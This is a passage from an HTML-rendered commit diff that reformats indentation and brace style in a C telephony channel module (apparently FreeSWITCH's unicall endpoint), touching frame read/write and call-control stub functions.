</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;unicall_send_dtmf(%p)\n&quot;, (void *) session);
</ins><span class="cx"> 
</span><del>-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t unicall_read_frame(switch_core_session_t *session, switch_frame_t **frame, switch_io_flag_t flags, int stream_id)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel = NULL;
-    private_t *tech_pvt = NULL;
-    //switch_time_t started = switch_time_now();
-    //unsigned int elapsed;
-    switch_byte_t *data;
</del><ins>+        switch_channel_t *channel = NULL;
+        private_t *tech_pvt = NULL;
+        //switch_time_t started = switch_time_now();
+        //unsigned int elapsed;
+        switch_byte_t *data;
</ins><span class="cx"> 
</span><del>-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;unicall_read_frame(%p)\n&quot;, (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;unicall_read_frame(%p)\n&quot;, (void *) session);
</ins><span class="cx"> 
</span><del>-    tech_pvt-&gt;read_frame.flags = SFF_NONE;
-    *frame = NULL;
</del><ins>+        tech_pvt-&gt;read_frame.flags = SFF_NONE;
+        *frame = NULL;
</ins><span class="cx"> 
</span><del>-    while (switch_test_flag(tech_pvt, TFLAG_IO))
-    {
-        if (switch_test_flag(tech_pvt, TFLAG_BREAK))
-        {
-            switch_clear_flag(tech_pvt, TFLAG_BREAK);
-            data = (switch_byte_t *) tech_pvt-&gt;read_frame.data;
-            data[0] = 65;
-            data[1] = 0;
-            tech_pvt-&gt;read_frame.datalen = 2;
-            tech_pvt-&gt;read_frame.flags = SFF_CNG;
-            *frame = &amp;tech_pvt-&gt;read_frame;
-            return SWITCH_STATUS_SUCCESS;
-        }
</del><ins>+        while (switch_test_flag(tech_pvt, TFLAG_IO)) {
+                if (switch_test_flag(tech_pvt, TFLAG_BREAK)) {
+                        switch_clear_flag(tech_pvt, TFLAG_BREAK);
+                        data = (switch_byte_t *) tech_pvt-&gt;read_frame.data;
+                        data[0] = 65;
+                        data[1] = 0;
+                        tech_pvt-&gt;read_frame.datalen = 2;
+                        tech_pvt-&gt;read_frame.flags = SFF_CNG;
+                        *frame = &amp;tech_pvt-&gt;read_frame;
+                        return SWITCH_STATUS_SUCCESS;
+                }
</ins><span class="cx"> 
</span><del>-        if (!switch_test_flag(tech_pvt, TFLAG_IO))
-            return SWITCH_STATUS_FALSE;
</del><ins>+                if (!switch_test_flag(tech_pvt, TFLAG_IO))
+                        return SWITCH_STATUS_FALSE;
</ins><span class="cx"> 
</span><del>-        if (switch_test_flag(tech_pvt, TFLAG_IO)  &amp;&amp;  switch_test_flag(tech_pvt, TFLAG_VOICE))
-        {
-            switch_clear_flag_locked(tech_pvt, TFLAG_VOICE);
-            if (!tech_pvt-&gt;read_frame.datalen)
-                continue;
-            *frame = &amp;tech_pvt-&gt;read_frame;
</del><ins>+                if (switch_test_flag(tech_pvt, TFLAG_IO) &amp;&amp; switch_test_flag(tech_pvt, TFLAG_VOICE)) {
+                        switch_clear_flag_locked(tech_pvt, TFLAG_VOICE);
+                        if (!tech_pvt-&gt;read_frame.datalen)
+                                continue;
+                        *frame = &amp;tech_pvt-&gt;read_frame;
</ins><span class="cx"> #if SWITCH_BYTE_ORDER == __BIG_ENDIAN
</span><del>-            if (switch_test_flag(tech_pvt, TFLAG_LINEAR))
-                switch_swap_linear((*frame)-&gt;data, (int) (*frame)-&gt;datalen / 2);
</del><ins>+                        if (switch_test_flag(tech_pvt, TFLAG_LINEAR))
+                                switch_swap_linear((*frame)-&gt;data, (int) (*frame)-&gt;datalen / 2);
</ins><span class="cx"> #endif
</span><del>-            return SWITCH_STATUS_SUCCESS;
-        }
</del><ins>+                        return SWITCH_STATUS_SUCCESS;
+                }
</ins><span class="cx"> 
</span><del>-        switch_cond_next();
-    }
</del><ins>+                switch_cond_next();
+        }
</ins><span class="cx"> 
</span><del>-    return SWITCH_STATUS_FALSE;
</del><ins>+        return SWITCH_STATUS_FALSE;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t unicall_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel = NULL;
-    private_t *tech_pvt = NULL;
-    //switch_frame_t *pframe;
</del><ins>+        switch_channel_t *channel = NULL;
+        private_t *tech_pvt = NULL;
+        //switch_frame_t *pframe;
</ins><span class="cx"> 
</span><del>-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;unicall_write_frame(%p)\n&quot;, (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;unicall_write_frame(%p)\n&quot;, (void *) session);
</ins><span class="cx"> 
</span><del>-    if (!switch_test_flag(tech_pvt, TFLAG_IO))
-        return SWITCH_STATUS_FALSE;
</del><ins>+        if (!switch_test_flag(tech_pvt, TFLAG_IO))
+                return SWITCH_STATUS_FALSE;
</ins><span class="cx"> #if SWITCH_BYTE_ORDER == __BIG_ENDIAN
</span><del>-    if (switch_test_flag(tech_pvt, TFLAG_LINEAR))
-        switch_swap_linear(frame-&gt;data, (int) frame-&gt;datalen/sizeof(int16_t));
</del><ins>+        if (switch_test_flag(tech_pvt, TFLAG_LINEAR))
+                switch_swap_linear(frame-&gt;data, (int) frame-&gt;datalen / sizeof(int16_t));
</ins><span class="cx"> #endif
</span><span class="cx"> 
</span><del>-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t redirect_audio(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
-    uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        uc_t *uc;
</ins><span class="cx"> 
</span><del>-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    uc = tech_pvt-&gt;uc;
-    assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt-&gt;uc;
+        assert(uc != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;redirect_audio(%p)\n&quot;, (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;redirect_audio(%p)\n&quot;, (void *) session);
</ins><span class="cx"> 
</span><del>-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t transmit_text(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
-    uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        uc_t *uc;
</ins><span class="cx"> 
</span><del>-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    uc = tech_pvt-&gt;uc;
-    assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt-&gt;uc;
+        assert(uc != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;transmit_text(%p)\n&quot;, (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;transmit_text(%p)\n&quot;, (void *) session);
</ins><span class="cx"> 
</span><del>-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t answer(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
-    uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        uc_t *uc;
</ins><span class="cx"> 
</span><del>-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    uc = tech_pvt-&gt;uc;
-    assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt-&gt;uc;
+        assert(uc != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;answer(%p)\n&quot;, (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;answer(%p)\n&quot;, (void *) session);
</ins><span class="cx"> 
</span><span class="cx"> #if 0
</span><del>-    if ((ret = uc_call_control(uc, UC_OP_ANSWERCALL, crn, NULL)) &lt; 0)
-    {
-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;Answer call failed - %s\n&quot;, uc_ret_to_str(ret));
-        return SWITCH_STATUS_FAILED;
-    }
-    /*endif*/
</del><ins>+        if ((ret = uc_call_control(uc, UC_OP_ANSWERCALL, crn, NULL)) &lt; 0) {
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;Answer call failed - %s\n&quot;, uc_ret_to_str(ret));
+                return SWITCH_STATUS_FAILED;
+        }
+        /*endif */
</ins><span class="cx"> #endif
</span><span class="cx"> 
</span><del>-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t progress(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
-    uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        uc_t *uc;
</ins><span class="cx"> 
</span><del>-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    uc = tech_pvt-&gt;uc;
-    assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt-&gt;uc;
+        assert(uc != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;progress(%p)\n&quot;, (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;progress(%p)\n&quot;, (void *) session);
</ins><span class="cx"> 
</span><span class="cx"> #if 0
</span><del>-    if ((ret = uc_call_control(uc, UC_OP_ACCEPTCALL, crn, NULL)) &lt; 0)
-    {
-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;Accept call failed - %s\n&quot;, uc_ret_to_str(ret));
-        return SWITCH_STATUS_FAILED;
-    }
-    /*endif*/
</del><ins>+        if ((ret = uc_call_control(uc, UC_OP_ACCEPTCALL, crn, NULL)) &lt; 0) {
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;Accept call failed - %s\n&quot;, uc_ret_to_str(ret));
+                return SWITCH_STATUS_FAILED;
+        }
+        /*endif */
</ins><span class="cx"> #endif
</span><span class="cx"> 
</span><del>-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t bridge(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
-    uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        uc_t *uc;
</ins><span class="cx"> 
</span><del>-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    uc = tech_pvt-&gt;uc;
-    assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt-&gt;uc;
+        assert(uc != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;bridge(%p)\n&quot;, (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;bridge(%p)\n&quot;, (void *) session);
</ins><span class="cx"> 
</span><del>-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t unbridge(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
-    uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        uc_t *uc;
</ins><span class="cx"> 
</span><del>-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    uc = tech_pvt-&gt;uc;
-    assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt-&gt;uc;
+        assert(uc != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;unbridge(%p)\n&quot;, (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;unbridge(%p)\n&quot;, (void *) session);
</ins><span class="cx"> 
</span><del>-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t transfer(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
-    uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        uc_t *uc;
</ins><span class="cx"> 
</span><del>-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    uc = tech_pvt-&gt;uc;
-    assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt-&gt;uc;
+        assert(uc != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;transfer(%p)\n&quot;, (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;transfer(%p)\n&quot;, (void *) session);
</ins><span class="cx"> 
</span><del>-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t ringing(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
-    uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        uc_t *uc;
</ins><span class="cx"> 
</span><del>-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    uc = tech_pvt-&gt;uc;
-    assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt-&gt;uc;
+        assert(uc != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;ringing(%p)\n&quot;, (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;ringing(%p)\n&quot;, (void *) session);
</ins><span class="cx"> 
</span><del>-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t media(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
-    uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        uc_t *uc;
</ins><span class="cx"> 
</span><del>-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    uc = tech_pvt-&gt;uc;
-    assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt-&gt;uc;
+        assert(uc != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;media(%p)\n&quot;, (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;media(%p)\n&quot;, (void *) session);
</ins><span class="cx"> 
</span><del>-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t nomedia(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
-    uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        uc_t *uc;
</ins><span class="cx"> 
</span><del>-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    uc = tech_pvt-&gt;uc;
-    assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt-&gt;uc;
+        assert(uc != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;nomedia(%p)\n&quot;, (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;nomedia(%p)\n&quot;, (void *) session);
</ins><span class="cx"> 
</span><del>-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t hold(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
-    uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        uc_t *uc;
</ins><span class="cx"> 
</span><del>-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    uc = tech_pvt-&gt;uc;
-    assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt-&gt;uc;
+        assert(uc != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;hold(%p)\n&quot;, (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;hold(%p)\n&quot;, (void *) session);
</ins><span class="cx"> 
</span><del>-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t unhold(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
-    uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        uc_t *uc;
</ins><span class="cx"> 
</span><del>-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    uc = tech_pvt-&gt;uc;
-    assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt-&gt;uc;
+        assert(uc != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;unhold(%p)\n&quot;, (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;unhold(%p)\n&quot;, (void *) session);
</ins><span class="cx"> 
</span><del>-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t redirect(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
-    uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        uc_t *uc;
</ins><span class="cx"> 
</span><del>-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    uc = tech_pvt-&gt;uc;
-    assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt-&gt;uc;
+        assert(uc != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;redirect(%p)\n&quot;, (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;redirect(%p)\n&quot;, (void *) session);
</ins><span class="cx"> 
</span><del>-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t respond(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
-    uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        uc_t *uc;
</ins><span class="cx"> 
</span><del>-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    uc = tech_pvt-&gt;uc;
-    assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt-&gt;uc;
+        assert(uc != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;respond(%p)\n&quot;, (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;respond(%p)\n&quot;, (void *) session);
</ins><span class="cx"> 
</span><del>-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t broadcast(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
-    uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        uc_t *uc;
</ins><span class="cx"> 
</span><del>-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    uc = tech_pvt-&gt;uc;
-    assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt-&gt;uc;
+        assert(uc != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;broadcast(%p)\n&quot;, (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;broadcast(%p)\n&quot;, (void *) session);
</ins><span class="cx"> 
</span><del>-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t media_redirect(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
-    uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        uc_t *uc;
</ins><span class="cx"> 
</span><del>-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    uc = tech_pvt-&gt;uc;
-    assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt-&gt;uc;
+        assert(uc != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;media_redirect(%p)\n&quot;, (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;media_redirect(%p)\n&quot;, (void *) session);
</ins><span class="cx"> 
</span><del>-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t deflect(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
-    uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        uc_t *uc;
</ins><span class="cx"> 
</span><del>-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    uc = tech_pvt-&gt;uc;
-    assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt-&gt;uc;
+        assert(uc != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;deflect(%p)\n&quot;, (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;deflect(%p)\n&quot;, (void *) session);
</ins><span class="cx"> 
